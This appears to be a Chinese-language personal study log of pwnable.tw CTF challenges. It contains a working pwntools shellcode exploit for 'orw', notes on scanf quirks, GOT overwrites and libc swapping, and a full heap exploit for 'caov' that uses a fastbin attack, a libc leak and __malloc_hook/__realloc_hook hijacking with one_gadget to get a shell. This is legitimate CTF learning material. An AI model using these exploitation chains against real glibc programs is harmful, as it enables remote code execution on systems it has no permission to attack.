Bootstrap

学习笔记lalala

orw:发现写shellcode的新大陆

from pwn import *
p = remote('chall.pwnable.tw',10001)
#p = process('./orw')
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
if args.G:
    gdb.attach(p)

shellcode = ""
shellcode += shellcraft.i386.pushstr("/home/orw/flag")
shellcode += shellcraft.i386.linux.syscall("SYS_open", 'esp',0)
shellcode += shellcraft.i386.linux.syscall("SYS_read", 'eax', 'esp', 0x30)
shellcode += shellcraft.i386.linux.syscall("SYS_write", 1, 'esp', 0x30)

payload = asm(shellcode)
p.recvuntil('Give my your shellcode:')
p.send(payload)
p.interactive()

cal:scanf()的bug

使用scanf("")读取数字时,当输入为 ‘+’ 或者 ‘-’,读取数据,不会改变栈空间中的数据,但是会跳过,不再将 '-' , '+' 放入缓存区,而输入其他非法字符(如)时,由于不能识别读取,最一直储存在缓存区,导致始终无法向后读取,导致无效读入

hacknote:all_in_one 获得各种版本的libc,patchelf 强制修改elf文件的libc与ld,gdb加载符号表

使用all_in_one 下载libc后,会自动下载.debug 文件,并放在相应的文件夹下,

patchelf 首先修改文件的ld.so,patchelf --set-interpreter ....../(目标ld.**.so)filename

然后修改 libc加载,lld 查看文件原来的加载libc.so的搜索路径 ,

patchelf --replace-needed (原路径) (目标路径/libc.**.so)filename

malloc申请到内存后,返回的不是chunk的首地址,前8字节用于储存chunk信息,chunk+8开始是用户数据,free后加入fastbins,连续申请的两块内存不会合并

applestore:

如何获取栈地址:libc中保留的全局变量environ ,获得libc基址后,利用LibcSearcher工具,environ = libc_base +libc.dump('__environ'),environ保留了一个栈中的地址,gdb调试可以看到其与我们可以利用地址的偏移量。

修改GOT表项,将atoi改为system,read读取时,输入system的地址(这是才完成修改),因为函数用栈传参,将system的参数binsh也写在system的后面,

caov:

        c++ ,x64程序,glibc2.23

        源码C++就是个坑,

Data operator=(const Data &rhs)
        {
            key = new char[strlen(rhs.key)+1];
            strcpy(key, rhs.key);
            value = rhs.value;
            change_count = rhs.change_count;
            year  = rhs.year;
            month = rhs.month;
            day   = rhs.day;
            hour  = rhs.hour;
            min   = rhs.min;
            sec   = rhs.sec;
        }



//正确的写法是
Data operator = (const Data &rhs)
        {
            Data ret;        //use ret to copy rhs
            ··· ···
            return ret;
        }

问题在于源码中类的构造函数定义 :重载 = 时没有返回引用,存在一个临时对象,通过IDA分析出这个类指针没有初始化,而且存在于栈中,delete_data((__int64)v4)所在函数调用前,调用一个读入字符串的函数,而且是将数据读入到栈中,在转存到bss中。那么通过查看栈结构发现,只要在读入字符串时,数据超过0x60字节,就可以覆盖到v4,实现任意地址的free。

        于是乎,就可以利用fastbins attack,实现任意地址写,首先控制DATA,通过伪造一个chunk,替换掉DATA所保存的chunk指针,可以实现任意地址读,泄露出libc的基地址。这里实际操作的时候有几个注意点:1,伪造一个吨的同时,要伪造他的下一个fake chunk 的size,绕过free的检查,2,将任意地址写入fastbins的时候,如果该地址所对应的“chunk”的size不合法就无法申请并完成写入数据。就比如DATA,这里改写DATA,利用了DATA前面的内容,

利用stderr伪造一个chunk,大小为0x7f

 这样我们将DATA控制为NAME所在的位置,控制好name,就可以实现key的输出

 接下来同样的手法修改malloc_hook:

劫持malloc_hook:

malloc:
if ( _malloc_hook )
    return _malloc_hook(a1, retaddr);

执行malloc时,如果_malloc_hook不为空就执行其目标函数,

同样的也有realloc

if ( _realloc_hook )
    return _realloc_hook(a1, a2, retaddr);

一般来说,通过错位覆盖改写__malloc_hook为后门函数的地址或者one_gadget就可以,但是one_gadget的使用需要满足一些条件,而往往这些条件难以满足,尤其是寄存器的值,这个时候往往要选择栈的一些条件,但是通常不可行。

此时就需要realloc调栈大法。

.text:0000000000083B10 realloc         proc near               ; CODE XREF: _realloc↑j
.text:0000000000083B10                                         ; DATA XREF: LOAD:0000000000006BA0↑o ...
.text:0000000000083B10
.text:0000000000083B10 var_60          = qword ptr -60h
.text:0000000000083B10 var_58          = byte ptr -58h
.text:0000000000083B10 var_48          = byte ptr -48h
.text:0000000000083B10
.text:0000000000083B10 ; __unwind {
.text:0000000000083B10                 push    r15             ; Alternative name is '__libc_realloc'
.text:0000000000083B12                 push    r14
.text:0000000000083B14                 push    r13
.text:0000000000083B16                 push    r12
.text:0000000000083B18                 mov     r13, rsi
.text:0000000000083B1B                 push    rbp
.text:0000000000083B1C                 push    rbx
.text:0000000000083B1D                 mov     rbx, rdi
.text:0000000000083B20                 sub     rsp, 38h
.text:0000000000083B24 ; 25:   if ( _realloc_hook )
.text:0000000000083B24                 mov     rax, cs:__realloc_hook_ptr
.text:0000000000083B2B                 mov     rax, [rax]
.text:0000000000083B2E                 test    rax, rax
.text:0000000000083B31                 jnz     loc_83D38

进行了6次入栈操作,可以对站的结构进行调整,然后覆盖__realloc_hook为后门函数或者one_gadget地址(执行流程malloc--->__malloc_hook(realloc +X )--->__realloc_hook(shell))X是控制入栈顺序而选择的偏移量,详见反汇编代码。为了确保可以满足one_gadget的条件,通过gdb调试查看栈的情况,其实可以先将one_gadget设置为0xcafebabedeadbeef,这是gdb必挂的一个地址,此时就可以查看站的情况,对realloc的地址进行调整。

from pwn import *
#context.log_level = 'debug'


i =0
if i==0:
	r=process('./caov')
	elf = ELF('./caov')
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
	one_gadget = 0x4527a
	malloc_hook = 0x3c4b10
	realloc_hook =0x7f2e9ff42b10-0x7f2e9fb7e000
else :
	r=remote("chall.pwnable.tw", 10306)
	elf = ELF('./caov')
	libc = ELF('./libc_64.so.6')
	malloc_hook = 0x3c3b10
	realloc_hook = 0x3c3b08
	one_gadget = 0x45260
DATA = 0x6032A0
NAME = 0x6032C0

read_got = elf.got['read']
printf_got = elf.got['printf']


print("printf_got = ",hex(printf_got))
print("sysmbols = ",hex(libc.symbols['printf']))

def setname(name):
	r.recv()
	r.sendline(name)

def init(name,key,value):
	setname(name)

	r.sendlineafter("key: ",key)
	r.recv()
	r.sendline(str(value))

def show():
	r.sendline('1')

def edit(name,length,key):
	r.recv()	
	r.sendline('2')
	setname(name)
	r.sendlineafter("length: ",str(length))
	r.sendline(key)
	r.recv()
	r.sendline("9")

fake1 = p64(0) + p64(0x71)+p64(0)+p64(0) +p64(0x71)
fake1+= p64(0)*8  + p64(0)*2+p64(0x21) + p64(0)*2 +'\x21\x00'

init(fake1,'a'*0x20,9)

#gdb.attach(r,'b *0x00040159F')
fake2 = p64(0) + p64(0x71)+p64(DATA-0x23+8) +p64(0)+p64(0x71)
fake2+= p64(0)*7+p64(NAME+0x10)
edit(fake2,9,'a'*6)

fake3 = p64(0) + p64(0x71)+p64(DATA-0x23+8) +p64(0)+p64(0x71)
fake3+= p64(0)*7+p64(0)
edit(fake3,0x60,'a'*0x10)

fake4 = p64(0)*3 +p64(0x41)+p64(printf_got) +p64(9) 
fake4 +=p64(3) +p64(0x2000007e6)+p64(0x0000001400000014)+p64(0x000000280000002f)
key = p64(0)+p64((NAME+0x20)*0x1000000)
edit(fake4,0x60,key)

show()

r.recvuntil("data :\nKey: ")
printf_addr=u64(r.recv(6).ljust(8,'\x00'))
print("addr :",hex(printf_addr))
print("addr in libc :",hex(libc.symbols["printf"]))
lib_base = printf_addr - libc.symbols["printf"]
malloc_hook +=lib_base
realloc_hook += lib_base
realloc = lib_base + libc.symbols["realloc"]
onegadget = one_gadget + lib_base


#onegadget = 0xcafebabedeadbeef


print("malloc_hook :",hex(malloc_hook),"  -----(-0x23)---->",hex(malloc_hook-0x23))
print("one_gadget :",hex(onegadget))


#gdb.attach(r,'b realloc')
fake5 =p64(0) +p64(0x71)+p64(malloc_hook-0x23)+p64(0x41)+p64(NAME+0x10) +p64(9)
fake5 +=p64(3) +p64(0x2000007e6)+p64(0x0000001400000014)+p64(0x000000280000002f)
fake5 +=p64(0)*2+p64(NAME+0x10)
key = p64(malloc_hook-0x23) +p64(0x41)
print("delete the fake")
edit(fake5,0x20,key)


fake6 = p64(0) +p64(0x71)+p64(malloc_hook-0x23)+p64(0x41)+p64(NAME+0x10) +p64(9)
fake6+= p64(3) +p64(0x2000007e6)+p64(0x0000001400000014)+p64(0x000000280000002f)
fake6+=p64(0)*3
print("get the fake ,provide the aim")
edit(fake6,0x60,'\x00')


#gdb.attach(r,'b malloc')

pad1 = lib_base+3945056
pad2 = lib_base+548512
pad3 = lib_base+547440
offset = 0x7f0000000000

key = p64(0)+'\x00'*3
key +=p64(onegadget)+p64(realloc)
#key +=p64(0)+p64(onegadget)
print("edit the aim")
edit('\x00',0x20,"cccc")
#gdb.attach(r,'b realloc')
edit(fake6,0x60,key)

#gdb.attach(r)
#r.recv()


r.interactive()

;